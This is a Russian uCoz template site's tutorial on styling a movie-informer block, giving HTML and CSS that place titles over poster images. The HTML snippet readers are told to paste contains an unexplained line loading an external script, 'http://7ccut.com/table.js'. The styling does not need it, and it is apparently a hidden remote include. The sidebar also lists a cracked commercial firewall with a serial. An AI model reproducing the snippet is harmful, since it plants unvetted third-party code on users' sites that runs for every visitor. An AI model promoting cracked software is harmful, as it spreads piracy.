Скрипты,шаблоны для uCoz, DLE. Софт программ бесплатно

Добро пожаловать!
Сделай
Cайт
Лучше
  • Главная страница
  • Форум Помощь
  • Файлы Каталог файлов
  • Полезно Рекомендуем
  • Новое На сайте
  • Правила Читать всем

Вид информера онлайн кинотеатра

Твитнуть
01 Июл 2025
Если вы владелец онлайн кинотеатра в системе uCoz, и пользуетесь информерами, то статья именно для вас.
Стандартный вид информеров не то, что поможет привлечь потенциальных зрителей, а скорее отпугнет. Во-первых, из-за того, что заходят в кинотеатр, все должно быть наглядно. Изначально информер выглядит как простой текст (название), с датой добавления, и автором, все. Мало, кто захочет читать. Поэтому для информеров такого типа нужна как минимум картинка. Это не обязательно может быть информер фильмов. Да, уже нормально, но фильмы имеют названия разной длины, потому все картинки смещаются, какие-то выше, какие-то ниже, в общем, весь вид портится.

Я предлагаю сделать надписи прямо на картинке, при этом красиво это все оформив.

Итак, начнем.

Для начала, вставим этот код в шаблон информера.

Код
<table border="0" cellpadding="2" cellspacing="1" width="100%" class="infTable">  
<tbody>  
<tr align="center">  
<td class="infTitle" colspan="2">  
<p>  
<div class="image">  
<a href="$ENTRY_URL$"><img src="$IMG_URL1$" vspace="5" width="160" height="220" align="center" border="2" hspace="10" title="$TITLE$" style="vertical-align: bottom;"></a>  
<h2> <script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<div class="img_title"><div align="left"><a href="$ENTRY_URL$">$TITLE$</a></div></div>  
</h2>  
</div>  
</p>  
</td>  
</tr>  
</tbody>  
</table>


После чего, в CSS вставляем данные стили.

Код
.img_title {  
word-wrap: break-word;  
text-indent: 0px;  
font-size: 13px;  
color: #376d9c;  
font-weight: bold; font-family: Arial Narrow, sans-serif;  
background: #ffffff;  
height: 40px;  
vertical-align:middle;  
width: 162px;  
left: 20px;  
text-align: center;  
-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-webkit-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
}  
.image {  
position: relative;  
width : 100%;  
}  
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}


Это придаст нашему блоку с названием тень, а тексту стиль.

height: 40px - можно убрать, чтобы блок сам увеличивался или уменьшался в зависимости от длины заголовка. Или оставить, если хотите, чтобы блоки были одинаковые (при этом если надпись длиннее оставленной высоты (места), то она будет вылезать за рамки).

Код
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}  
.image {  
position: relative;  
width : 100%; /* for IE 6 */  
}  

Уважаемый посетитель, скачивать материал могут только зарегестрированные пользователи!
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

+
    • 1
    • 2
    • 3
    • 4
    • 5


АвторПользователи/ Категории » / Просмотров 1177 / Посмотреть комментарии 0
 
Вернуться назад

А также:
Изменённый вид опроса

Изменённый вид опроса

Форма заказа для Интернет-магазина на uCoz

Форма заказа для Интернет-магазина ...

Радио в стиме mp3 плеера

Радио в стиме mp3 плеера

Кнопка мне нравится без PHP с видом как Facebook

Кнопка мне нравится без PHP с видом...

Скрипт кто нас сегодня посетил с аватаром, статистика для ucoz

Скрипт кто нас сегодня посетил с ав...

Новый простой динамичный список онлайн пользователей

Новый простой динамичный список онл...

 

html-cсылка на публикацию
BB-cсылка на публикацию
Прямая ссылка на публикацию


Всего комментариев: 0
Уважаемый посетитель, Вы зашли на сайт, как незарегистрированный пользователь.
Мы рекомендуем Вам
зарегистрироваться,либо войти на сайт под своим именем.
Twitter RSS Добавить в избранное

Профиль


  • Привет, Пользователи!


Логин:
Пароль:
Забыл пароль | Регистрация

Меню

  • Скрипты для uCoz
  • Шаблоны для uCoz
  • Графика Ucoz
  • Шаблоны с конструктором
  • Блоки и шапки
  • Адаптация с DLE
  • Виды материалов
  • Всё для DLE
  • PSD
  • Иконки
  • Разное
  • Шаблоны с PSD
  • Иконки/Значки
  • Хаки
  • Софт
  • Интернет
  • Всё для Photoshop

Мини-чат

    Вы не можете добавлять сообщения в чат
    Авторизуйтесь!

  • Top-5
  • Comments
  • Tags
  • UserGate Proxy & Firewall 4.3.949 + crack (serial) [Русская версия]
    60 downloads
  • Вид Фотоальбома + iLoad для Dominion
    41 downloads
  • Форма добавления комментариев
    41 downloads
  • Форма добавления комментариев для форума
    39 downloads
  • Новый шаблон для uCoz-ChromeGT
    36 downloads
Код вставляем в глобальный блок ВЕРХНЯЯ ЧАСТЬ САЙТА
Аватар Алексей Алексей 17 Мар 2013 | 13:35
Блин у меня не получилось его установить(( html код нужно в "страницы сайта" вставлять? в head :unsure:
аватар отсутствует Master 08 Мар 2013 | 00:08
Штука убойная, респект :v:
Аватар Babalus Babalus 13 Окт 2012 | 16:21
для (74)
null (68)
ucoz (46)
на (31)
разное (31)
сайта (22)
шаблон (19)
Скрипт (17)
psd (14)
вид (14)
Сайтостроение (14)
Новый (13)
форум (12)
Для сайта (11)
Хаки (10)
как (9)
красивый (9)
набор (9)
Flash (8)
для uCoz (8)
меню (8)
русский (8)
AJAX (7)
кнопка (7)
кнопки (7)

Рейтинг-Топ 10

  • Редактируем шаблон прямо на сайте
  • Красивый блок информации для uCoz
  • Новшества мини чата ucoz
  • Скруглённые уголки
  • Видеокурс "HTML с нуля"
  • Красивые Списки На CSS
  • Переключение страниц с интересным эффектом.
  • Набор Noavatar для сайта
  • Очень красивый вид комментариев для ucoz
  • Имитация градиента

Топ-5-сайтов

  • Oyama Do
    Рейтинг: 5.0/5
    Просмотров: 11675
  • Профессиональная академия единоборств KEA-FIGHTING
    Рейтинг: 3.0/2
    Просмотров: 5340

Архив

    • 2012 Сентябрь
    • 2012 Октябрь
    • 2012 Ноябрь
    • 2012 Декабрь
    • 2013 Январь
    • 2013 Февраль
    • 2013 Март
    • 2013 Апрель
    • 2013 Май
    • 2013 Сентябрь
    • 2013 Ноябрь
    • 2013 Декабрь
    • 2014 Январь
    • 2014 Февраль
    • 2014 Март
    • 2014 Июнь
    • 2015 Май

Календарь

    «  Январь 2014  »
    Пн Вт Ср Чт Пт Сб Вс
      12345
    6789101112
    13141516171819
    20212223242526
    2728293031

Статистика

Нас уже: 1651 {+0}
    Онлайн всего: 5
    Гостей: 5
    Пользователей: 0
    Пользователи
    Гости сайта
  • Сегодня нас посетило

    Опрос

    Оцените мой сайт
    Всего ответов: 266
Форум Файлы Магазин Статьи Графика Видео Теги
| Карта сайта | Карта форума | Скрипты,шаблоны для uCoz, DLE. Софт программ бесплатно | ©2011 - 2025

  • Яндекс.Метрика
  • Счетчик PR-CY.Rank
  • Рейтинг@Mail.ru
  • Клуб каратэ кёкусинкай OYAMA-DO



Статистика/ Обратная связь/ Размещение рекламы